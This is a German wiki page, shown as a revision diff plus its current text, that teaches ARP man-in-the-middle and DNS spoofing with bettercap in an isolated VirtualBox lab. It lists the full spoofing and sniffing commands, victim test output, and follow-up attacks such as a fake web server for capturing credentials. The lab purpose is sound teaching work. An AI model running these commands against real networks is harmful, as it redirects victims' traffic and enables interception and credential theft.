DNS Spoofing mit bettercap: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
(Die Seite wurde neu angelegt: „= DNS Spoofing mit bettercap = == Vorbereitung == <pre> # bettercap installieren (Debian/Ubuntu) sudo apt update && sudo apt install bettercap -y </pre> == O…“)
 
 
(2 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 1: Zeile 1:
 
= DNS Spoofing mit bettercap =
 
= DNS Spoofing mit bettercap =
 +
== Umgebung ==
 +
KALI    = 192.168.16.101  (Angreifer)
 +
ALICE  = 192.168.16.131  (Opfer 1)
 +
BOB    = 192.168.16.132  (Opfer 2)
 +
ZIEL    = xinux.de        (echte IP: 94.130.248.215)
 +
FAKE-IP = 192.168.16.101  (Kali täuscht vor xinux.de zu sein)
  
== Vorbereitung ==
+
== Vorbereitung auf Alice und Bob ==
<pre>
+
;Echte IP prüfen (vor dem Angriff)
# bettercap installieren (Debian/Ubuntu)
+
host -4 xinux.de
sudo apt update && sudo apt install bettercap -y
+
xinux.de has address 94.130.248.215
</pre>
 
  
== Opfer-Überprüfung ==
+
== Angreifer - bettercap starten ==
<pre>
+
sudo bettercap -iface eth0
# Echte IP der Zieldomain prüfen
 
host -4 xinux.de
 
# Erwartete Ausgabe: xinux.de has address 94.130.248.215
 
</pre>
 
  
== Angreifer-Konfiguration ==
+
== In der bettercap-Konsole ==
<pre>
+
;ARP MITM + DNS Spoofing kombiniert
# 1. DNS-Spoofing-Regel erstellen
+
set arp.spoof.targets 192.168.16.131,192.168.16.132
echo '*.xinux.de 10.0.10.101' | sudo tee -a /usr/local/share/bettercap/caplets/dns-spoof.cap
+
set arp.spoof.internal true
 +
set arp.spoof.fullduplex true
 +
set dns.spoof.domains xinux.de
 +
set dns.spoof.address 192.168.16.101
 +
arp.spoof on
 +
dns.spoof on
 +
net.sniff on
  
# 2. Bettercap starten (ARP MITM + DNS Spoofing)
+
== Optionen ==
sudo bettercap -iface eth0 \
+
* set arp.spoof.targets       → Alice und Bob als Ziele
    -eval "set arp.spoof.targets 10.0.10.102; set dns.spoof.domains ~xinux.de; dns.spoof on; arp.spoof on; net.sniff on"
+
* set arp.spoof.internal true  → Host-zu-Host Spoofing
</pre>
+
* set arp.spoof.fullduplex true → beide Hosts werden getäuscht
 +
* set dns.spoof.domains       → welche Domain gefälscht wird
 +
* set dns.spoof.address        → wohin die Domain umgeleitet wird
 +
* arp.spoof on                 → ARP Spoofing aktivieren (MITM Voraussetzung)
 +
* dns.spoof on                 → DNS Spoofing aktivieren
 +
* net.sniff on                 → Paketmitschnitt aktivieren
  
== Alternative mit Caplet ==
+
== Test auf Alice ==
<pre>
+
;Nach dem Angriff - gefälschte IP wird zurückgegeben
# dns-spoof.cap erstellen
+
host -4 xinux.de
echo -e "set arp.spoof.targets 10.0.10.102\nset dns.spoof.domains ~xinux.de\ndns.spoof on\narp.spoof on\nnet.sniff on" | sudo tee /usr/local/share/bettercap/caplets/dns-spoof.cap
+
xinux.de has address 192.168.16.101
  
# Ausführen
+
ping xinux.de
sudo bettercap -iface eth0 -caplet dns-spoof
+
PING xinux.de (192.168.16.101)...
</pre>
 
  
== Opfer-Test ==
+
== Test auf Bob ==
<pre>
+
;Gleiches Ergebnis auf Bob
# Auf dem Opfergerät testen
+
host -4 xinux.de
ping xinux.de
+
xinux.de has address 192.168.16.101
# Erwartete Ausgabe: PING xinux.de (10.0.10.101)...
 
</pre>
 
  
== Parameter-Erklärung ==
+
== Wildcard - alle Subdomains abfangen ==
* <code>~xinux.de</code> - Fängt alle Subdomains ab (Wildcard)
+
;Alle Subdomains von xinux.de ebenfalls umleiten
* <code>10.0.10.102</code> - IP des Opfers
+
set dns.spoof.domains *.xinux.de,xinux.de
* <code>10.0.10.101</code> - IP des Angreifers
+
 
* <code>-iface eth0</code> - Netzwerkinterface
+
== Hinweis zur Netzwerkumgebung ==
</pre>
+
* Getestet mit VirtualBox '''Internal Network'''
 +
* Bei '''Bridge-Adapter''' kann das Gateway ARP-Replies überschreiben
 +
* Empfehlung für das Labor: VirtualBox Internal Network verwenden
 +
 
 +
== Mögliche Folgeangriffe ==
 +
* [[mitmproxy]] für HTTP(S)-Manipulation
 +
* [[Fake Webserver]] zum Abfangen von Zugangsdaten
 +
* [[Ngrep]] zur Paketanalyse

Aktuelle Version vom 11. Mai 2026, 15:11 Uhr

DNS Spoofing mit bettercap

Umgebung

KALI    = 192.168.16.101  (Angreifer)
ALICE   = 192.168.16.131  (Opfer 1)
BOB     = 192.168.16.132  (Opfer 2)
ZIEL    = xinux.de        (echte IP: 94.130.248.215)
FAKE-IP = 192.168.16.101  (Kali täuscht vor xinux.de zu sein)

Vorbereitung auf Alice und Bob

Echte IP prüfen (vor dem Angriff)
host -4 xinux.de
xinux.de has address 94.130.248.215

Angreifer - bettercap starten

sudo bettercap -iface eth0

In der bettercap-Konsole

ARP MITM + DNS Spoofing kombiniert
set arp.spoof.targets 192.168.16.131,192.168.16.132
set arp.spoof.internal true
set arp.spoof.fullduplex true
set dns.spoof.domains xinux.de
set dns.spoof.address 192.168.16.101
arp.spoof on
dns.spoof on
net.sniff on

Optionen

  • set arp.spoof.targets → Alice und Bob als Ziele
  • set arp.spoof.internal true → Host-zu-Host Spoofing
  • set arp.spoof.fullduplex true → beide Hosts werden getäuscht
  • set dns.spoof.domains → welche Domain gefälscht wird
  • set dns.spoof.address → wohin die Domain umgeleitet wird
  • arp.spoof on → ARP Spoofing aktivieren (MITM Voraussetzung)
  • dns.spoof on → DNS Spoofing aktivieren
  • net.sniff on → Paketmitschnitt aktivieren

Test auf Alice

Nach dem Angriff - gefälschte IP wird zurückgegeben
host -4 xinux.de
xinux.de has address 192.168.16.101
ping xinux.de
PING xinux.de (192.168.16.101)...

Test auf Bob

Gleiches Ergebnis auf Bob
host -4 xinux.de
xinux.de has address 192.168.16.101

Wildcard - alle Subdomains abfangen

Alle Subdomains von xinux.de ebenfalls umleiten
set dns.spoof.domains *.xinux.de,xinux.de

Hinweis zur Netzwerkumgebung

  • Getestet mit VirtualBox Internal Network
  • Bei Bridge-Adapter kann das Gateway ARP-Replies überschreiben
  • Empfehlung für das Labor: VirtualBox Internal Network verwenden

Mögliche Folgeangriffe